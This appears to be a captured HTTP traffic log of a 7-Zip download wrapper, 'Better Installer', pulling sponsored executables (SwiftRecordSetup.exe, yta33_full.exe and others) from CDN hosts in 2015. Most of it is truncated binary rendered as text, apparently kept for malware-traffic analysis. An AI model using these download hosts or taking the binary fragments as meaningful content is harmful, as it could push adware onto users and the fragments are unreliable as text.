N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e...`.sXm$Op;
."p................t=V.........Q....f.r0.........i...M......E....Y.../
....N.7/.;.....|..R...(./.4..{)..~.M....).......f.w...6.^.0TB...H..c..
.....^-a.G`0ub..|a;.C..T.<..N/......^..>."....f..$..d.=.X0..x4R.
..W...=.....`..w.$\a/.~R.~<.....jS.q.es....-.....#W#.D.4H...tw...&.
A.w/...t...[H"D....9E].....A....B<D.7[.2.3.!.......P.......R..R._.I
...y........([email protected].\D.k.2....3..".".......
.p...?_X.........$v.....,......\.V..EV.G...........Z.DO....B..V...%.D.
...].n..`...H.!..=<.. Y.*l..].j.u.d.o.M.i...>..m........$K..@...
..]~.H.z.p.O.?.i.&.U.....U."<..o.S#..x.....s..g.[.....A.6~'-.1D....
....`Pim2....;.xsV2.'7.#..jlW.1-..4......h ..~...oV..."...]|..i=.....V
(.....e..!..EU.d....ui..9).....^P.o.g..e..H.1x.....\.#..D....G.w.p
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=261628-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:23:51 GMT
Date: Thu, 30 Apr 2015 09:23:51 GMT
Content-Range: bytes 261628-523255/523256
Content-Length: 261628
Connection: keep-alive
/9.,.....d.z$...TK......?RU..kD.M..n.r..Ol;[...`..{......_.=....5..Nc.
.r...te..C..jI..^.....k...'OM[3.rW.!).7...t...l......`7....=WK{.<Q.
...#.r. Juq..z..5....FD..:..)H...'.j...R..B...y.e...{H.:.k&...l.V.p4..
..</{[email protected].@.....>B..y....7....Q...=..(.........
.G..... ....o'...J.E%.K.;......d.....S..w.vJ......:..(^...G....Z.Y3{s.
..S..me..L...n...()..=.Y. .0.B.....EA#O.Q...O..%..;0c....?.f.>.Ry..
.h.p...<..k..x.'...[9......b...9.q-FA...4.]...SFo..=....S...z..C/..
].b.l..:..2...7_L...b...O....E.7P.tk.57.p.uL.M....q]..aF.i...f.2.z....
c.w#.."d2...*>..z...r......s..<..0...F..b.I.mjD.;.V.v....R.....@
.]c....R..U.df.....|....).>......Q....*....;C_.l.....a...i..Gt..g.n
../.Q.. 8w....b.a...N}z.-.S-3.Z..u....9*..`.8.1.!2./........o2........
j.eK..:...^...a......I...~o.i.........r...hi.*m...._......e.Y.aYF.3c.7
....;.p.*g.|O/Z.......b.........I...t..5..".np......?...U........bX`9.
....F..^...~.p5.g..?..j...F);Q..A..S..Dt.........agR.B..l......5.K...T
.....q..1.........r....&....KV.{..)j...p.3.N.~.f....i........e...C..|.
a.WE....KD.,^.hH.].*....8..)..}]y...Z.F .r...{.?*..2..#.M.Q....8#e..s1
....t...&e*..#.d.1.u.....EY.....p.W~I... .#.C.#....m..0i.vV....~...lq]
.>.[.!.....\....X.'.....l..1x...a.D....g..X..#......n...w..Y...Gya,
..v0.nH%.................x..,.`|.X..3.zo..<!9-1....2.[..Q#..K..iP..
k.....}5..1X.p7m$...py........c.b..C...U0.............G....Z>......
.}.P|k4.].....A#....Z EC.~0.,.....09.j..2.K....g....7{.0..R....i.`2...
U..;z..w....R......w.....^...g.F}.$g.:..H..}.W."..0..N]~>.."...
<<< skipped >>>


GET /sponsored/swiftrecord/eula-swiftrecord.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: dreejadsuld8c.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 26 Apr 2015 05:13:51 GMT
Last-Modified: Wed, 11 Mar 2015 08:59:19 GMT
Expires: Sun, 26 Apr 2015 05:23:51 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
Age: 17
X-Cache: Hit from cloudfront
Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)
X-Amz-Cf-Id: pxGv_1EvF22W7ZtWhvdTEqZ0A2UEfXOjD678OFEJZmPzsvkL7dHvHg==
36d5.............}.r....s. r8.c*....n.r..!..`....K..8@ [email protected]@.gb".Cf~
..d.Z{.K. %_:b......'.e_......i.d...]..f.....y...;<>............
..y...U1X...d5.....q.r..._..o........;..w....g............j...........
...a^........r8...7.........u....zu{..|.....qZ...E...U.yu<.k~..M5~.
...7.jZ-.......w.h6\.M.o.W....dU.....|S...l8....|uXO..>}.z.9}v;.M..
o...rX...-.._...o.JN.V~......b..N1...G.~U..i.........U. {/.^hh.Z3...I.
....].)...c.|c?..X{..<....[SL... ...../...?./O..~.W.....v.z.k./...&
lt;.-......E..?h..w........=.|h.......=R.....{~.....{......t/O;.N...P|
x.9y..N..O.....{...Z.:...89o....>..........>>.\`..3|......6..
k.;.....o.;............~....=..\...4U..V..d^..'u....k.mq>....,Zw...
..U.......^..eY...X.R..E5/@U....0.]..rT-.|.,.N..b8..;(.....Z.{........
....0.l......Xc.uQ.......j........c.....t2...._....Jj......XV.....z...
.v..........G.....G......S...u7...W....ZN>.G..U..<..&....;...C..
.-..rY.G%..d..i.9....d:..s.W.Q.6xY..]j?..K.......O.^/.>..p...&.d~W.
c.......p9.?(n..y.<.5|^a..?..Ln.p.8...wh;z.....w..l..jU....M......G
.3. ..n.|........x(o V....5...O.J........z.....}.x9H~<......~.W..r|
[email protected]..@.$.H..zP/#..9R....B..X.
4t...C}P,....s....H,d..tU.6n..@qgY\.E.....#.......g.8.0.bY..Y...b..1.e
.X...V.=.~.,..(L....AW..QY.<..W.9.....#.4&...| ........L.d.m._8....
.D...EU$..r.Zc..z..f....f.6..(.IRX.'L.[].k..i..WH...o}h......8}mo9...u
.b.P...&.i..Tkl.S.18...B.- .1e.....6.v=. X0>..~.,]Q....F.U...#q...%
......4....U55.r.3R................i1 ..!..u..^.:...II..U..N.<N
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRtl6lMY2+iPob4twryIF+FfgUdvwQUK8NGq7oOyWUqRtF5R8Ri4uHa/LgCEBBwnU/1VAjXMGAB2OqRdbs= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.usertrust.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:26:39 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Thu, 30 Apr 2015 07:35:41 GMT
Expires: Mon, 04 May 2015 07:35:41 GMT
ETag: 22169010F685DF3EE2B37F432A2E405564E94537
Cache-Control: max-age=338341,public,no-transform,must-revalidate
X-OCSP-Reponder-ID: h6edcaocsp9
Content-Length: 471
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0...... .F....e*F.yG.b.......2015043
0073541Z0s0q0I0... ........m..Lco.>..... _.~..... .F....e*F.yG.b...
.....p.O.T..0`....u.....20150430073541Z....20150504073541Z0...*.H.....
........O.$>..F.......?...................K....=)..i....j..oE.C../e
[email protected]...|I..)...e-.E.....-P........ow,.c.0... K..Nt.4I...=...
=....RA<..3.N..u..L3|.K.........b'=......>p....x...j...&.....lV4
.l...`.t......XM........M... ..a`'.R^.X..S#..b...e.....^oP^n.$...



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=277620-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:23:53 GMT
Content-Type: application/octet-stream
Content-Length: 832856
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 277620-1110475/1110476
../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6...
C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>....
..Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e.
"T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|X
....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%.............
.......... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c.
.ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..f
6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W......
0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;.
 ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t....
t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........ms
..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoYI
1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%..
.j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O|
.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A.....
..,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r........
........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v:
./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G...
(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T.
k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N.
7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB...
.....V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d....
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=130814-261628
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:22:08 GMT
Date: Thu, 30 Apr 2015 09:22:08 GMT
Content-Range: bytes 130814-261628/523256
Content-Length: 130815
Connection: keep-alive
[email protected]}R...;B...,..vgQ4...W..O&....=.....
..s../y.wa.h.0p$.Vf.J...JD..j5..........;...Y.....:k.tT=..x./....E..n.
..........$.s=.....)8p.E....B..c.$..Vj;.,.t.D|6d.B.lp.>Y.C.........
w.^|..Yx.P`N..j.RN.. ...~...Lok.....o..m%`,@,.....J.S...jM@.....#...J.
.h..U^...`.RV.,^z..1.d/>?.u.\......{.r.l....M........e.&...[.6<.
.M.......h.^...H.)..6.........../.O.]........W}. ...$..x9.9.i.......).
.~..b.T.........f...<8...C..$>YC............t..R.....`.*Q.va...q
@..........q.........Yz..`.....i...X.y...1.KQ...w,d.....4Oxn....... (.
...6.MY. .u...".Q.Fn.D..<..o..M.......&ZYJ.b5.24o...M...j..$...l>
;.`rlx~..~F6Zh..>..`...i.y..-.e.....2.. ..CCkx...&.g.....j..Y......
V.5...5.[....z.J.....R..x..u..i...|.....Y.s..-s.1.>...F.....G...YWH
.0.H.... .6=AQ.s.......%..3n.S.,..RY.D%...l.G^..Ny.QMb...>..=.1:h8.
2.......%.Qv.=.g.i.........{.~.o....5.1g[...._ .C.o.=.....%...[..[..i.
...Z/.z..i..UP.......8...sX..Y......iYI...C.(E7..S..9...H,L...e..^ N.7
...x.Qp.J.T....xz}.....&.%...<,. ..{s.=..Vp.........'./......Zv9.m.
.P.f..8....w...`..pJ....>a.'(....s'...l|t.....WO ..)3......2.....F.
..@...#.v........29.#..w.-...nN..S"w..b........4.HY.......>.v..?...
...>.#..\...sA.......W....^pS.z......9..%Q.l...7.}...[..*<  rq.L
:....[.$7=.=B.mE-......)s..KM...........!..s..xa2...v3..uF...gO.G'.B.e
..-...z#..ck{`.v....`gx....Eg........`[email protected]...'.A.....Z...LVA
Qd.q..( ...........6...6....P"..~.9......47..T.....IE..([.S.O.|o.1{Ue.
.?C^-................T9P.pb..B#.....0_B....:#....v....8<.M:A.."
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 1286329
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
X-Cache: RefreshHit from cloudfront
Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)
X-Amz-Cf-Id: FeW4V4PThGESMMt6Q5q4QujdBcE6UaFwnSZfVInoZdFIf11Cx0aPvw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /yta33_full.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:54 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 250000-499999/7590800
....A.^......i.|@....M|.4y..F.S.}..&a.D8...."R.R.C..9....S.0u.R.&...T$
9R;.%...o....vUm....NE.d. .5%.... .......T..sM..Qx ...[|Cf...ne.$..|Zv
'.k.M.\d.&....*\H..`i.{?...9u'.....q........YK.T.Csj1......2.YHsL.....
.l..f........f@[email protected]..\.l....sL..).^..cJ.G../. ....%O...-.^.S.
.TFM...{1.X.....X..WT./...x..$..6.%0`...U.2..w5.B...o.#...0...-WXTl...
...H.dEcP4...S-qn}Z..n...>".p..@....~cE.0.b... R.5.&.........eD.ig.
PV..wo..T.~.....R9.....zR^v...W..t.H.%}.U.~...Y.|(g..&.(xj.....<. I
!........Y....u[@.`............u......C8.6...`..0.......[........0...^
............y......j.!.H.....L.z^o.....4.;.5:RLz.l.p...s...*f.e<.#.
.....#...~....U).1G"`...n.........<...0;..h...#....h.....".o.NW".(.
,.N..t.......^Z..%.I.&.VW..O....<..i..C.av.\*.v..d..5...#.=0>x..
n...#pYH.)8d...B..m.R'p. .......]...3.j....c.....[.S......J...G.!.[...
hh....D..Q.....f:=C....f.R.o.....j..|..T>.5?;.1.......@H.[.h.eS.0..
.. .(y.....7...h|.$..4...1.....K..;G.{.'..:..t.[ld..C..n;>.(V...P..
........C.........7H. .W..ckrZ...w...=....S....!E.8....^.....k.X...$..
.9..}... ..{.....]. n.....6..i....o.{[email protected].$.
..H}...^).v....'.....H.....x.yH...E9.V.Q).N.$X...\......GG.|sJ..R.....
7.._.b......x$......?.U.g.g$....)..E..[)..h..k .L ..a.\[email protected].:..
.B...... .a.b. .. '.....~e..f..c..3......6.6.?xK.(t..p..@?.Rs"..n.../.
...7....IO..7b{.t.....$ ...*..R.i....6Vt.....x.v"..._g..[3.\OG/.-...y.
..z....M......w.M#...*..r..W"t.eT%.@;.9b0p.-.$=n..H...i*T>..xVL,vA.
w].&5].?A6A.....6Q.v.6...zU*..~:..bGh......GM.3.c%.}.....L.4.C....
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=750000-999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 750000-999999/7590800
..|.b..dA..z..j...I.1..../..5.!5...L.'..?|.2...'(.......a.....3:3.i...
E4./...Y"..VH.bn"..IC".....Nvf^oN.1..S=.@}....YvV..?..%{......&.^.c.=.
....1m.N.[........o.<............v.|.....n.L8}d..<oz.z`6pv..%..6
rm."./.....q..y.......!.`.....}....i.....'..".hT.....]......4G.8A.....
|.4S.._.*J.".\e..r|....`.....,].....SR.?{GV......;....!.r~i`._....z.M.
y..c..y...v....rW.aT..q.q.m6dB...s.I.*....W......u.......Fc..Y.69Q....
.%....%....U~..=.........X.I.y.K...gY.>.T.....9g ?p\~...... *.q....
...b.A..Nq^."..R'S..W.1......>..`<4.....yCh*-.!.}E.g..i......../
......]...c.v.k....8..?.G.l.........5..........g..}.2.O.l..r._..q..G}.
......3Z.....}.....O..p..,Y..4.'j...L....@ ..$.~U.....6.O..Fa.).V....b
U...].... ^oz...@.....)...:.s.{.u........%.K_&f...*..f>...o9.1.....
.pH....-........a.u!.}s.......A.m........M.=<[email protected].......
.3... ..6.......<..r.....=0.3G.d.M."|..\.:.1.K....y4D..Oh.....=....
zq.z<.h..o..F.a{o3..J...r/.l*l.AE.."&.!..;.dK.3...)@.......f.u....-
..EI.c...v....N.T.U@.........*.mZ.... ....~..e.x.....C.A..G.#4.....W..
..ia...F.....x..........l"d|...p........,$#..F...5T......'.Z..D.u....A
#f.(..B......j..sT..c.L:"..A........>...\....9....B...~.........7.=
..........$.wnK...J.P..G.:.i|'.;....x.z...*........C..yVAl*..y>...(
RG...y*H].....}...../?.D0`B..T......u.c@....<..)..Q.J../...LNG..>
;8C6..O..o=.<...t..l$W|}$.:.Y.:..'.2...T.XE!.>.....Q.).@.">l.
..A... JM..R.K................P.....k....R.........S.&.&.8D0p..o..A..*
.N.MON.9.7....O..........;.U.VuB.Z...W.].B.@U4..*..wn.Z..4..|.o.f.
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=1250000-1499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1250000-1499999/7590800
. .l..Du2...Y...X.'.. ...><Zf$.. =h<....x.?..........$S......
..a.CcH...a_."..>.m2...J.P.r..X.1......4......N....B.l-..;.........
.<4..3).......*.............j..k2.t.B..Z.....Et.~........=.Et....yy
.E4*F.....1...8......../'.(l.v....../.#...I...D..6J2-G.wy........:....
.h.(..A. zB..S^. ..F......k.=..}..*...&..Z..@B........'E_.mo.......T..
IP..n.v.5.n..G.z....E9...(.d.{..!...'.....o..z3.^.F.F...(...g.7./6...~
.3.W"..(. .......}.pJ......xv..r.Q.....d5VZ...B.E\......"....~....w.P.
......77s.....&5L.&.xm...".s...S.....>.E...cF.sc....9C{.2......W.O.
].....Z]3......:.;.?s...N.Y.xTC.../../z#;....3.(.`'q..l.FR..."......1?
.;$ .h.../q...#{j..Z.q.]`...U.8b... ...}..>D..Q.n.o...l......L...}=
C.2....V.Xy..&..jIg].Y..{.....EKOy}...<....le_,.0..).X. .y........E
*... ..7W'......*...{!.....<..g?.....6..TK.;...3.y...NQ.|9i........
.y... ..iO..^.. ..j.A..`g....>..[2x.....m.5(a...Au..%.l..2.b_...k..
}.\=...g>Z...p..iQJ,....yS/.n....}.......,..g2M..SD_..7./.9^.G>.
.1..})A.P,.z....O.|....Q........|.Am..HO..}.[...[.9&.^...FW..}D......O
$..A}....=.n......tji.[...U.Y...0{..Gh.8Q.....4....H..... _l?n.."..x?.
.....$8.Ax..]...r?.>.d.;.s..54.x.._/ayH.LX.P.;r..P.........-VX.....
.k..G..8..;.E....XvW.s.|.x>..|,...<...(....}.R,8f.a&Au!.!K...x..
...Mk...j.....f..u....UYEJ.y.n._..Q.#..^.y...0..B.... ..0....H.yU...].
/y d.W...........P~)......q.].@\4...[x........._.o.....O.WS`.]..Z..*..
M.....p.lV..2...........$Y.r.Y..*....}LGo.....N.~N...8.B2.Q...5f-vU...
g.....a8..iU...p]7..o....3b7.a..3[mD....2M..E.0...G.Yj....[.m.}...
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=1750000-1999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1750000-1999999/7590800
es5c......9..q...ce!....].\4....BZH.?....:..R....%2y.W`.....g....J.?7.
,1.S...P...c.C.RmXZA.........Fqs....m...Z .-,.m.......'.G...8(.~.:.Y1.
..BH.e.;RPA..0.y$<7.=....v.._..y....{.5.z.....^..{'D.N.......Hw...2
.%6.dp.:)d....{XC.u.....#as...}..).H.@OSi.;....<.8"....8j.....oF...
5-^. ....P.....x*Q}...&..[...U.U..P.,r.bC.}..Lk...*....l>..g..2....
...-..?..8.Q._.6.....V=a.s_..|..{.P3g9.F.:.....#-2h......A....p...=}/.
..............m....-Q....W.fRF......4.5....ft..h.......cZ.X.....y.[.Q.
....../.$v.*..w....x..#.Z.<f.-.5...D{.....!.I... ....D.T".Z...D...i
z..w..~..../..\..;}.._........D..f....Y......%._......H...)..o.u~.CW..
......(...zv..........9..<_.k...9.....U.....'Y;............`.l...{.
y...;...;.....Y....Z..T.J..;K.A....w.......&..{...P..`Sg..[ .....`~9! 
....$^.......G...^.....{..c...A......xS4.....<.R.3.S.:..]...g..R...
...(......*[...Z. .<I.6......d._5z.d...y.......P...6..L@/.[.N.M`<
;...... ....?...........^F.j..X,{0........... .}...<. 9O_..........
 .-5.Q...%.C..y.v,....3.m......I0f.....y.J.jb.b..'...~6...-..I..y(L.C.
7...oY{Sx.m.8^....6.[....T..X5..l.....a....Y............|.z.jws.......
I.f...^..BX.|..."3......6..qvl.q..G....?...m();[email protected]..`......3...
....2.-...8..>.y.C.............'.......<..m...\...3n..\.%.....K[
...A...h.=..m.PR.v.62;.......r[G.WXo.........(....I........&KGE.&..^..
...j.......M.T.=1....%.....^.......B..if.>.....&`.[....&.Y......G.\
...T[5'MsB.]\...;N......\....&.eN..4C.....Sy.."........}H]R$x.d..;."..
d.t3}..^e.e.wS...G.pNfo..C.b.f...M4]........|eN.....y.H..jX~./E..t
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=2250000-2499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2250000-2499999/7590800
..".R.....[`...P ..c_H ../.......BA....>.....9.x...[.[D...........N
..V..y....zp`...^{.e..h6p@._.2..........Ce...{....=..{..............#.
...f.!I....J....(..~.W3L......)X..3.3.''.3=.[..^Z...B.|].e{5..k..V....
....f.......&Uc...f.lR\i..j...j.......$uYF..... ?...Yc...,.2O.b5.P....
A.'r.!..2.," ..". .d^...:`&~48..N ..s.....!||@@..!..7G...O8.L.S.F...).
`C.m4b.....t.%..S*..>;'."|...Bq.....v...*@t.E..H.<........h..GK8
/...JB.....(...%..G......h.8..|...L...x.H..JtQ..@:....."$.R......p.G.I
0....D/(.JF..J..)...]\t.H...CC..'......j.......!.B:B.L...Hy...BcP..O..
..R.*...A*U.S..0.B.rhdC..B..n...._...v..A.........P0J$D...f..p..D.(...
..8..."r.J.%.|...j......".-..-.......n.&.$Z....R......>h.=7.DJ.".s.
H%#_.h....>... .W.N..oG=.B8.......9.L.f.....Y.s-..!....<..d\..S.
^..........A..."..!.Ay.g.I..>..0"..j...B4...G.7....bG~ .B...,0Z~.B/
........C.A.....$<m......{.{;...r.O..G.L.93.%q.c. ..........&t8.P..
f....U...DL......i&.%...,Y..Q....'.DO....H3......Xp;...m6.o.5.(.M.SR.X
...HkFRG...h:..B....9..F...M=.Ea.mr*.&5.P.3.......~.K..c...C..U..s'..9
..F_....P....nq.P.............(..A.........OD...G.2.?I....K...\.....3^
.l.c*-`J.D...C..$6.7.....*z...QQ..D...".r...$;B...T3rN.........0 Elf_K
...In~9.;......qT.T5!... )N.E.T$.>.a.).D%E.......}.G.Z...Y.........
...H.l.....X.e.*..v..D...S...`....z..&.K........o$p..E=..(.......I[*..
.o."...'!CH0......."$>>......d.G.....3....@(..^Q.....j.rR..AA..i
.Q...,.B...j.......a.j. l...a......d.h% * .....J<..b......"O....I."
\' ..;..8....`[email protected]'.DH..q.C(E.E.R.4UO..q^..Z
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=2750000-2999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2750000-2999999/7590800
